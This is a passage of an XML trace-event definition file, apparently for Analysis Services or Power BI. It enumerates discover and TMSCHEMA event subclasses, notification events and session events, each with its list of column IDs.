                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>DISCOVER_KEYWORDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>DISCOVER_LITERALS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>DISCOVER_XML_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>DISCOVER_TRACES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>DISCOVER_TRACE_DEFINITION_PROVIDERINFO</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DISCOVER_TRACE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>DISCOVER_TRACE_EVENT_CATEGORIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>DMSCHEMA_MINING_STRUCTURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>DMSCHEMA_MINING_STRUCTURE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>DISCOVER_MASTER_KEY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>MDSCHEMA_INPUT_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>DISCOVER_LOCATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>DISCOVER_PARTITION_DIMENSION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>DISCOVER_PARTITION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>DISCOVER_DIMENSION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>MDSCHEMA_MEASUREGROUP_DIMENSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>DISCOVER_XEVENT_PACKAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>DISCOVER_XEVENT_OBJECTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>DISCOVER_XEVENT_OBJECT_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>DISCOVER_XEVENT_SESSION_TARGETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>DISCOVER_XEVENT_SESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>DISCOVER_STORAGE_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>DISCOVER_STORAGE_TABLE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>DISCOVER_STORAGE_TABLE_COLUMN_SEGMENTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>DISCOVER_CALC_DEPENDENCY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>DISCOVER_CSDL_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>DISCOVER_RESOURCE_POOLS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>56</ID>
                  <NAME>TMSCHEMA_MODEL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>TMSCHEMA_DATA_SOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>TMSCHEMA_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>TMSCHEMA_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>TMSCHEMA_ATTRIBUTE_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>TMSCHEMA_PARTITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>62</ID>
                  <NAME>TMSCHEMA_RELATIONSHIPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>TMSCHEMA_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>TMSCHEMA_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>TMSCHEMA_LEVELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>67</ID>
                  <NAME>TMSCHEMA_TABLE_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>68</ID>
                  <NAME>TMSCHEMA_COLUMN_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>69</ID>
                  <NAME>TMSCHEMA_PARTITION_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>70</ID>
                  <NAME>TMSCHEMA_SEGMENT_MAP_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>71</ID>
                  <NAME>TMSCHEMA_DICTIONARY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>72</ID>
                  <NAME>TMSCHEMA_COLUMN_PARTITION_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>73</ID>
                  <NAME>TMSCHEMA_RELATIONSHIP_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>74</ID>
                  <NAME>TMSCHEMA_RELATIONSHIP_INDEX_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>75</ID>
                  <NAME>TMSCHEMA_ATTRIBUTE_HIERARCHY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>76</ID>
                  <NAME>TMSCHEMA_HIERARCHY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>77</ID>
                  <NAME>DISCOVER_RING_BUFFERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>78</ID>
                  <NAME>TMSCHEMA_KPIS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>79</ID>
                  <NAME>TMSCHEMA_STORAGE_FOLDERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>80</ID>
                  <NAME>TMSCHEMA_STORAGE_FILES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>81</ID>
                  <NAME>TMSCHEMA_SEGMENT_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>82</ID>
                  <NAME>TMSCHEMA_CULTURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>83</ID>
                  <NAME>TMSCHEMA_OBJECT_TRANSLATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>84</ID>
                  <NAME>TMSCHEMA_LINGUISTIC_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>85</ID>
                  <NAME>TMSCHEMA_ANNOTATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>86</ID>
                  <NAME>TMSCHEMA_PERSPECTIVES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>87</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>88</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>89</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>90</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>91</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_ROLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>92</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_ROLE_MEMBERSHIPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>93</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_TABLE_PERMISSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>94</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_VARIATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>95</ID>
                  <NAME>TMSCHEMA_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>96</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>97</ID>
                  <NAME>TMSCHEMA_EXTENDED_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>98</ID>
                  <NAME>TMSCHEMA_EXPRESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>99</ID>
                  <NAME>TMSCHEMA_COLUMN_PERMISSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>100</ID>
                  <NAME>TMSCHEMA_DETAIL_ROWS_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>101</ID>
                  <NAME>TMSCHEMA_RELATED_COLUMN_DETAILS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>102</ID>
                  <NAME>TMSCHEMA_GROUP_BY_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>103</ID>
                  <NAME>TMSCHEMA_CALCULATION_GROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>104</ID>
                  <NAME>TMSCHEMA_CALCULATION_ITEMS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>105</ID>
                  <NAME>TMSCHEMA_ALTERNATE_OF_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>106</ID>
                  <NAME>TMSCHEMA_REFRESH_POLICIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>107</ID>
                  <NAME>DISCOVER_POWERBI_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>108</ID>
                  <NAME>TMSCHEMA_FORMAT_STRING_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>109</ID>
                  <NAME>DISCOVER_M_EXPRESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>110</ID>
                  <NAME>TMSCHEMA_POWERBI_ROLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>111</ID>
                  <NAME>TMSCHEMA_QUERY_GROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>112</ID>
                  <NAME>DISCOVER_DB_MEM_STATS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>113</ID>
                  <NAME>DISCOVER_MEM_STATS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>114</ID>
                  <NAME>TMSCHEMA_ANALYTICS_AIMETADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Notification Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of notification events.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>39</ID>
          <NAME>Notification</NAME>
          <DESCRIPTION>Notification event.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>Proactive Caching Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Proactive Caching End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Flight Recorder Started</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Flight Recorder Stopped</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>Configuration Properties Updated</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>SQL Trace</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>Object Created</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>Object Deleted</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>Object Altered</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>Proactive Caching Polling Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>Proactive Caching Polling End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Flight Recorder Snapshot Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Flight Recorder Snapshot End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>Proactive Caching: notifiable object updated</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>Lazy Processing: start processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>Lazy Processing: processing complete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>SessionOpened Event Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>SessionOpened Event End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>SessionClosing Event Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>SessionClosing Event End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>CubeOpened Event Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>CubeOpened Event End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>CubeClosing Event Begin</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>CubeClosing Event End</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>Transaction abort requested</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>Opened data source connection</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>40</ID>
          <NAME>User Defined</NAME>
          <DESCRIPTION>User defined Event.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Session Events</NAME>
      <TYPE>1</TYPE>
      <DESCRIPTION>Collection of session events.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>41</ID>
          <NAME>Existing Connection</NAME>
          <DESCRIPTION>Existing user connection.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>42</ID>
          <NAME>Existing Session</NAME>
          <DESCRIPTION>Existing session.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>43</ID>
          <NAME>Session Initialize</NAME>
          <DESCRIPTION>Session Initialize.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
